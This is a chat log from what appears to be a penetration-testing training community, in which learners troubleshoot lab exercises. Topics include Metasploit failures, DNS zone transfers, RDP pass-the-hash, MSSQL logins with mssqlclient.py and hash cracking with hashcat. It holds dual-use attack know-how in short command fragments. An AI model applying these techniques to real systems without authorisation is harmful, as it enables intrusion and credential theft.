[*] Exploit completed, but no session was created.||

What am I missing?

[fathom pendant]

Christ that's long

[deep shore]

Target is an AD DC

[fathom pendant]

Restart msfconsole and try again

[cloud urchin]

Where are you executing the tools from, your VM or the pivot host?

[deep shore]

The linux attack host

[cloud urchin]

which is...

[deep shore]

All my VM is running is SSH

[fathom pendant]

I'm using target loosely as the 10.129.x.x box

[deep shore]

Nothing local

[deep shore]

My bad. The target is the linux attack host provided

[cloud urchin]

are you able to ping the DC from the attack host?

[deep shore]

I'm not able to ping either of them

[fathom pendant]

Your copy/paste is missing info did you set the vhost as the fqdn blog.inlanefreight.local

[deep shore]

But that may be LOOSELY related to the fact that Windows is pre-configured to ignore them

[fathom pendant]

Also helps to wrap text like that in backticks so it's formatted better and easier to read
``` before and after

[fathom pendant]

Generally when you're in the network environment they'll respond to pings

Or they should

[verbal anchor]

Yeah, my bad. I restarted it and still getting the error. My VHOST option is set to "blog.inlanefreight.local"

[cloud urchin]

Strange you can't ping your attack host but can ssh into it

[deep shore]

🤦‍♂️

[cloud urchin]

What are all the regions you tried?

[deep shore]

Not what I said

US 1,2,3

[cloud urchin]

it is what you said

[fathom pendant]

He's saying he can't ping the DC from the provided host

[cloud urchin]

try a totally different region like EU

[fathom pendant]

^

US vpn has been shifty with this module

[cloud urchin]

He said he can't ping the DC or the attack host

[deep shore]

Either of the DCs.

Child or parent

Sorry

I get you now.

[fathom pendant]

Are you pinging FQDN or the actual IP

[cloud urchin]

I'd start by trying EU region, sounds like something may be borked

[fathom pendant]

^ this is most likely btw

[deep shore]

Switching now to give it a shot

I'm bouncing around the HTB infra like a pinball

https://tenor.com/view/stern-pinball-stern-pinball-iron-maiden-bumpers-gif-12658830

[cloud urchin]

https://tenor.com/view/tilt-gif-9778843

[deep shore]

Also was getting ticked bc thought my enter key was going before realizing slowmode was on. 😂

Did not want to replace that.

Danke for the patience gents.

[fathom pendant]

Yeah slow mode is on in the academy channels because spammers

[cloud urchin]

i'm slow so i need it

[deep shore]

CRIKEY

Twas instant

All fixed. 🤦‍♂️

[cloud urchin]

https://tenor.com/view/noice-nice-click-gif-8843762

[deep shore]

Sorry to waste y'all's time.

[cloud urchin]

not a waste

[deep shore]

🙏

[verbal anchor]

Is ||VHOST blog.inlanefreight.local|| the correct syntax for the VHOST option in Shells & Payloads Live Engagement for Host 2 exploitation (||50064.rb|| exploit)?

[fathom pendant]

Yes

Try resetting the target and restarting your attack box as a whole

[verbal anchor]

Same error 😦
||[-] Exploit failed: NoMethodError undefined method `get_cookies' for nil:NilClass||

[fathom pendant]

Weird

Try changing vpn regions to EU and running it again

[verbal anchor]

I hate that this is what I was missing for the past few hours... Thanks for the help

[fathom pendant]

Yeah

It seems like a lot of modules are having issues spawning internal networks and such on the US servers

[verbal anchor]

Definitely will remember that for future modules

[fathom pendant]

Done enough sanity checking the last few weeks lmao

For whatever reason the internal networks/boxes either don't spawn or don't work properly

The password attacks module was having issues with one section giving a 01/01/1970 ccache

Which is just a tiny bit expired

[plucky latch]

Stupid question, let's say I went through a module , but want to go through it again even if I dont score any extra cubes, can I reset progress or so I have to just remember where I am at?

[cloud urchin]

when you launch the target machine it spawns a fresh instance for that module, it does not save anything done previously

You can retake the module too

[plucky latch]

No worries, thanks for answering, just want to bruch up on AD before I attempt the CPTS

[shut quest]

It won't clear your prior answers

[cloud urchin]

ahh. what's it do then lol

[shut quest]

Puts you in at the beginning of the module

[cloud urchin]

thanks for the clarification

[fathom pendant]

I'm sure if you bribed support hard enough you could

[cloud urchin]

it would probably mess with the "completed" flag and maybe lose access if you don't have a subscription

[icy marsh]

I am stuck in INFORMATION GATHERING - WEB EDITION module and in question What FQDN is assigned to the IP address 10.10.1.5? Submit the FQDN as the answer. . i ran this but won't get anything related to ip 10.10.1.5

[cloud urchin]

what section

[icy marsh]

this sec ==> What FQDN is assigned to the IP address 10.10.1.5

Active Subdomain Enumeration

[fathom pendant]

Yes that's the question

But it's likely related to the overall spawned target

I.e. doing a zone transfer or two should yield you answers

[icy marsh]

nslookup -type=any -query=AXFR inlanefreight.htb $ip

but not get anything related to that 10.10.1.5 ip

[quaint grail]

Im blocked in the module Linux fundamental

[fathom pendant]

what is blocking you lol

"i'm blocked" doesn't necessarily help us help you

[quaint grail]

I'll send a screen

[fathom pendant]

tips for getting effective help:
Module name:
Section Name:
question:
What is causing you trouble

[quaint grail]

oh

[fathom pendant]

you need to be ssh into the target

i see you have some answers

[quaint grail]

Yes

[fathom pendant]

but i also suggest using the command that may show the environment variables

[quaint grail]

But I did "ip address" and for the mtu idk his name

[fathom pendant]

?

name is just what the interface is called

[fathom pendant]

that is going to be incorrect

[quaint grail]

all of these ?

[fathom pendant]

you need to be running the ip a command in the ssh session

all of the commands to find information need to be done in the ssh session

[quaint grail]

okay but how I do SSH

[fathom pendant]

the instructions on how to ssh are on the academy page

[quaint grail]

Yeah I read it

but Idk what ip is

[fathom pendant]

did you click the button "Click here to spawn the target system!"

[fathom pendant]

the spawn instance button is for the in-browser virtual machine aka pwnbox it is not the target

[fathom pendant]

it's not gonna be 127.0.0.1

[quaint grail]

so how I can found ip adress

[fathom pendant]

click that green text

it should give you an ip

[quaint grail]

ohhh

[fathom pendant]

i suggest doing the "Introduction to academy" module

as interacting with academy is taught in that module

wrong channel

read and follow #welcome and ask in #sherlocks

[quaint grail]

Ok I successfully ssh

And I found the Mtu question

But what is "shell"

[icy marsh]

What FQDN is assigned to the IP address 10.10.1.5? Submit the FQDN as the answer. information gathering webaddition, active subdomain enum.

i'm stuck in this question

[fathom pendant]

environment variables are useful

[icy marsh]

cat /etc/shells

[fathom pendant]

that's not generally helpful

[quaint grail]

where can I found that?

[fathom pendant]

there's a list of commands given at the top

i suggest reading what each of those do

[icy marsh]

just type env and hit enter

[quaint grail]

oh yes but I looked but I don't find anyway

[icy marsh]

any help for mine ?

[fathom pendant]

you should

specifically the variable that might relate to the SHELL

[fathom pendant]

i feel like i nudged you earlier

what have you tried; full syntax of command

[icy marsh]

can you give the command

[fathom pendant]

no

i don't outright give commands

[fathom pendant]

scroll even further up

[icy marsh]

then any reffence

[fathom pendant]

well this module teaches you about dig yeah?

or nslookup?

what have you tried

[quaint grail]

here?

[fathom pendant]

if you tell me what you've tried i can likely tell you where you're going wrong

[icy marsh]

wait i'm sending right now

[fathom pendant]

yep

one of those commands relates to environment

i suggest reading and taking notes

you're not gonna remember all the things you learn right away

the more you do the more you'll learn

[icy marsh]

nslookup -type=any -query=AXFR inlanefreight.htb $ip

[quaint grail]

But I dont even know what is a shell 😢

[fathom pendant]

i'm guiding you to find the answer

one step at a time

[fathom pendant]

bro

you got the answer for the .136 question yeah?

and the .txt question?

look at that subdomain that you found those answers

[icy marsh]

yes I do ... but not this one using the same way

[fathom pendant]

brother

the .5 is in the same place as the .136

[quaint grail]

I found it

But I don't understand why

[fathom pendant]

congrats

well

[fathom pendant]

yes

that is the SHELL environment variable

meaning that's the shell that is used when a terminal session is started

bash is the bourne again shell

[fathom pendant]

it's yeeting your output because it's a large block of text

but i'm telling you, it's in the subdomain you found the TXT record in

[icy marsh]

wait brother, again I'm trying the last one

[quaint grail]

I did it

[fathom pendant]

i also suggest finishing modules before you start a new one

[icy marsh]

Thank you so much brother, I found

[fathom pendant]

the Learning process module wasn't meant for you to stop in the middle of it and start on Linux Fundamentals

[quaint grail]

it's true

[wise vault]

hi can you give me a hint about the section of rdp attacking in module of attacking common services.

there is already hint:There is an alternate method of connecting to RDP other than username and password. but am not able to find method i tried registry settings but nothing

anyone else

[fathom pendant]

it begins with evil

oh wait

[wise vault]

no i tried

[fathom pendant]

READ the fuckin section

it tells you how to pass the hash

[cloud urchin]

Try reading the RDP Pass-the-Hash (PtH) section

[wise vault]

trying from 2 days

pth not working

[fathom pendant]

well trying != reading

[cloud urchin]

instead of using a password you can use something else

[fathom pendant]

wdym "not working"

not working isn't an error

[wise vault]

hold on

[fathom pendant]

and without providing us your command syntax it doesn't help

copy/paste your command here, don't screenshot

[wise vault]

i rdp to the machine and found a file

[cloud urchin]

Besides remoting into the machine with a hash, what else is covered in that section I mentioned?

Look at question 2, then question 3

[wise vault]

am not geting it

[bold sinew]

Heya, how do I get BurpSuite to intercept HTTP responses?

[cloud urchin]

It's in the proxy options

[fathom pendant]

it's pretty clear if you read the section

[idle sigil]

Hey, Im trying to do the live engagement in the webshell module, however the rdp session via pwnbox is very very sloooowwwwwwww. Many people have complained about the same issue on the internet - is there any way to resolve this? :/

[fathom pendant]

nope

you can try changing to tcp connection or vpn region

[cloud urchin]

Did you read the PtH section as I mentioned? Again, what other thing is listed in there beyond simply remoting in with the hash?

[bold sinew]

staring at the options menu, unless im blind im not seeing it >_>

[fathom pendant]

i don't think he read the section at all

[cloud urchin]

lol

[fathom pendant]

there's a web proxies module

[wise vault]

yes i did

[wise vault]

no i did

[fathom pendant]

then you'd see what you need to do

[bold sinew]

i'll give that a read

👍

[idle sigil]

is this going to be the same experience during cpts exam?

[fathom pendant]

all about setting up burp/zap proxy (to use your own browser) and various different labs to show it off

[cloud urchin]

It's right in your face under proxy options. There are several sections, one is request interception rules the other is response interception rules.

[fathom pendant]

¯_(ツ)_/¯

[bold sinew]

found it, ty

[wise vault]

see i applied the section

which i read

[fathom pendant]

are you running cmd as admin

but also; you can use evil with admin and hash

[wise vault]

no cant able to run its restricted

[fathom pendant]

well the only way you can edit registry is with admin permissions

you can use evil-winrm to remote in

[cloud urchin]

personally I'd just use cme and change the reg key, but i don't think that's covered in the module

[fathom pendant]

yeah

but it's kinda strange as the walkthrough shows being able to do it with the htb-student user

[wise vault]

yes

[cloud urchin]

yeah i didn't use cme when i did it

[faint rampart]

same actually, I just used cme lmao

[fathom pendant]

just ran it myself

worked fine

[wise vault]

am trying too see what happens

[fathom pendant]

try restarting your lab

[cloud urchin]

confirmed, i was also able to do it with the low priv user

i was able to remote in as admin after the change too

[cloud urchin]

It works exactly like the module says

[fathom pendant]

so seems like your lab might be bugged

if restarting doesn't work; change vpn regions

[wise vault]

awesome 👌🏻

evil-winrm taking too long

[fathom pendant]

don't need to evil-winrm

can just rdp with htb-rdp; run the command

simple as that

doesn't need admin perms to edit it

[wise vault]

did you use runas /user:Admin.. cmd

[fathom pendant]

nope

i just copied/pasted the command as-is

[wise vault]

ok

[fathom pendant]

opened cmd and just ran it

[normal sand]

Module: Attacking Common Services - Attacking SQL Databases

Enumerate the "flagDB" database and submit a flag as your answer.
I have the password for the mssqlsvc user. I'm using the following command to login like I did before with the htbdbuser account, but I'm unable to login with the mssqlsvc account.

[wise vault]

i completed yesterday

[fathom pendant]

now rdp with admin pth

[fathom pendant]

you don't need to use the server name

[normal sand]

I've tried it without the server name as well. I get the same output.

[fathom pendant]

try .\\username

[wise vault]

python3 mssqlclient.py mssqlsvc@10.129.203.12 -windows-auth use this

first go to mssqlclient.py dir

[cloud urchin]

The command arguments you're using do not match up with what is taught in the module. Have you tried the command syntax from the module?

[normal sand]

I actually did try the ones from the module initially and it failed, I found this syntax on the forums.

[wise vault]

i dont no why its works fine now am trying from yesterday. but thanks a lot. @cloud urchin you guys

[cloud urchin]

Probably not your fault, some HTB regions are having issues lately.

i think it was the region like MarcieLee said

[wise vault]

seriously bro i tried the same steps

[cloud urchin]

yup, it's been happening a lot to people

[wise vault]

yeah

[fathom pendant]

mssqlclient.py user@ip -windows-auth

[normal sand]

This worked. Why did I have to mention -windows-auth though? Doesn't that mean it's using windows authentication and not the SQL server authentication?

[cloud urchin]

^ that's why i just used sqsh in this section i think

[wise vault]

@normal sand

[fathom pendant]

yes

because you're using the user's password to auth

and the sql-server is set to use windows authentication

[cloud urchin]

The user's Windows account/password*

[normal sand]

Maybe I'm misunderstanding, I though windows auth was only for domain-joined users.

[fathom pendant]

mssqlsvc is a windows service account

[cloud urchin]

Some applications can use your Windows credentials for authentication

[fathom pendant]

windows-auth is for local

[normal sand]

Ahhh

[fathom pendant]

as well

[normal sand]

Also, is there a reason why I had to mention the python3 in order for it to work? I had tried the very same command earlier without python3 and it didn't work.

[fathom pendant]

do you have python2.7 installed

it might be using that as your default python environment

[normal sand]

How do I check?

[fathom pendant]

if you do python -V i believe it should give version

[normal sand]

I'm using pwnbox.

[fathom pendant]

oh

i didn't have to specify python3

[normal sand]

It said version 3.9.2

[fathom pendant]

yeah

you didn't need to specify

the real resolution was using the right syntax

the using python3 is a non-issue

*made no difference

[wise vault]

one thing i wanna ask that confusing me in this module

[normal sand]

You're right. I just tested. I must've made a syntax mistake earlier.

So just to be clear -windows-auth is used for local accounts. When do you have to specify the server/hostname? In the section it says something about .\username that I don't quite understand.

[wise vault]

i read this structure before and after every service attack as mentioned in the module. suppose, it is about one service like rdp. and reading of section fits this structure for every service. we can clear concepts and keep this structure in mind. So what you think it can helps us more. @cloud urchin @fathom pendant

is it only for understanding about every service attack? or something else.

[fathom pendant]

for windows domain joined accounts .\ tells the system that you want to log in to a local account

[fathom pendant]

this is a very broad view of attacks

tbh some things don't fit neatly into these sorts of categories/don't have every aspect of one point

[wise vault]

got it

[fathom pendant]

source: what you're using
Processes: What's taking the request
Privileges: What privileges does your access to the process give you
Destination: what do you now have access to

the reason destination loops back to source is because attacks can be recursive in nature

see for instance: privilege escalation

the source then becomes your user, the process would be whatever process handles your privesc request...

[wise vault]

yeah i did research cleared my concepts but i want to ask how it can helps us in practical or we have to just keep in mind

[fathom pendant]

it's just something to think about

[wise vault]

hmm

[fathom pendant]

enumeration is always step 0 when you get access to a user

what can you do; what can you access

[wise vault]

thanks for your effort and time

[fathom pendant]

what do you have access of that you likely shouldn't

[wise vault]

noted

[wise vault]

point

[fathom pendant]

for instance with linux systems: what sudo perms do you have

[wise vault]

ok

🙂

[fathom pendant]

but it's not something that you have to strictly think about

it just happens

[wise vault]

thats it i want to hear

i just confused now you make it clear

[fathom pendant]

most times you only care about what you can access and what privileges you have

[wise vault]

absolutely

[fathom pendant]

the processes that handle getting what you want are mostly trivial

[wise vault]

thanks for your great time. will meet again👍🏻

[slender halo]

in the Network Introduction, why does it show 8 Octets in a row for one address?

[next bronze]

ipv6?

[slender halo]

This is one row:

Subnet mask:
1111 1111 1111 1111

1111 1111 1100 0000

=
255.255.255.192

[paper flare]

hi

I am working on the machine Funnel.
facing this error

psql -U christine -p 1234 -h localhost
psql: error: connection to server at "localhost" (::1), port 1234 failed: Connection refused
Is the server running on that host and accepting TCP/IP connections?
connection to server at "localhost" (127.0.0.1), port 1234 failed: Connection refused
Is the server running on that host and accepting TCP/IP connections?

please help

[bright coral]

Those are only 4 octets (split in the middle for readability I would assume)

[slender halo]

Lmao thanks 😂😂😂

[next bronze]

1 digit = 1 bit, ipv4 has 32 bits, each ocet is 8 bits

[oak girder]

Hello. I think excuse me (https://academy.hackthebox.com/module/112/section/1067), Find out which domain the server belongs to. This have what idea, I tried using (nbtscan, smbclient -L // 10.129.83.19-U %) without much result

[bright coral]

What about the other tools discussed in that section?

[oak girder]

Hold on, I'll try again.

Thanks, found the original that was right in front of my eyes all along DEVOPS

[cunning cape]

for Password attacks: pass the ticket for windows, Do you have to get mimikatz and rubeus onto the client yourself? I've rdp'd on and try to use mimikatz and rubeus but getting the error "not recognized" for both

[north bramble]

https://academy.hackthebox.com/module/116/section/1169

hello, stuck on this, I logged in with mssqlclient.py but I am unable to see table names or database names.

[knotty coral]

Hii is there anyone from HTB support around

[split glade]

show databases is for MySQL, not MSSQL

For MSSQL you'll use those basic commands:
SELECT name FROM master.dbo.sysdatabases list database names
use <the database you want to use>
SELECT * FROM <the database you want to use>.INFORMATION_SCHEMA.TABLES list the tables of a db
SELECT * FROM <some table> get all the data in a table

[north bramble]

doesnt seem to work for some reason

[split glade]

It should, but indeed in the commands that you wrote some should have work

[north bramble]

ima restart the machine then

not working

[split glade]

Did you try to use an other client, like sqlcmd/sqsh

[north bramble]

let me try that, on pwnbox

[north bramble]

refuses to connect

[north bramble]

thanks, got it

[normal sand]

Does anyone know the reason why only mssqlclient.py works and not sqsh for these challenge questions?

[north bramble]

skills assessments? or for this particular section, only sqlcmd worked for me

[normal sand]

Yeah, just for the skill assessment in this section.

[normal sand]

Sqlcmd? Didn't you use a Linux attack host? Sqlcmd is a tool for Windows.

[split glade]

For me (kali linux) it was the opposite, sqsh didn't but impacket-mssqlclient did

[normal sand]

Yeah, it was the same for me. Do you know the reason why sqsh didn't work?

[split glade]

Sadly no, but I would like an explanation too

[north bramble]

nah its the only thing working on pwnbox

[north bramble]

a lil help here, found the hash for the user in the question, how to get the password? tried cracking with rockyou, doesnt work

[flint ore]

Hi, everyone. Start DACL Attacks 2 and detect some bug in infrastructure(?) We must abuse shadow creds and compomised PSTEST001, but gabriel haven't edges with user PCTEST001, but Martha have

[normal sand]

What mode did you use with hashcat? Cuz I used rockyou and got the password.

[north bramble]

-m 1000 for ntlm?

[flint ore]

yes

[normal sand]

It's an NTLMv2 hash. So you have to use a different mode.

[north bramble]

I see

[north bramble]

why does it give so many outputs

[normal sand]

Also, you have to use the entire hash, you extracted a part of the hash here.

[normal sand]

No idea since I've never actually used the hashid command.

[north bramble]

this much?

[normal sand]

I normally just identify the hash based on the output I get it from.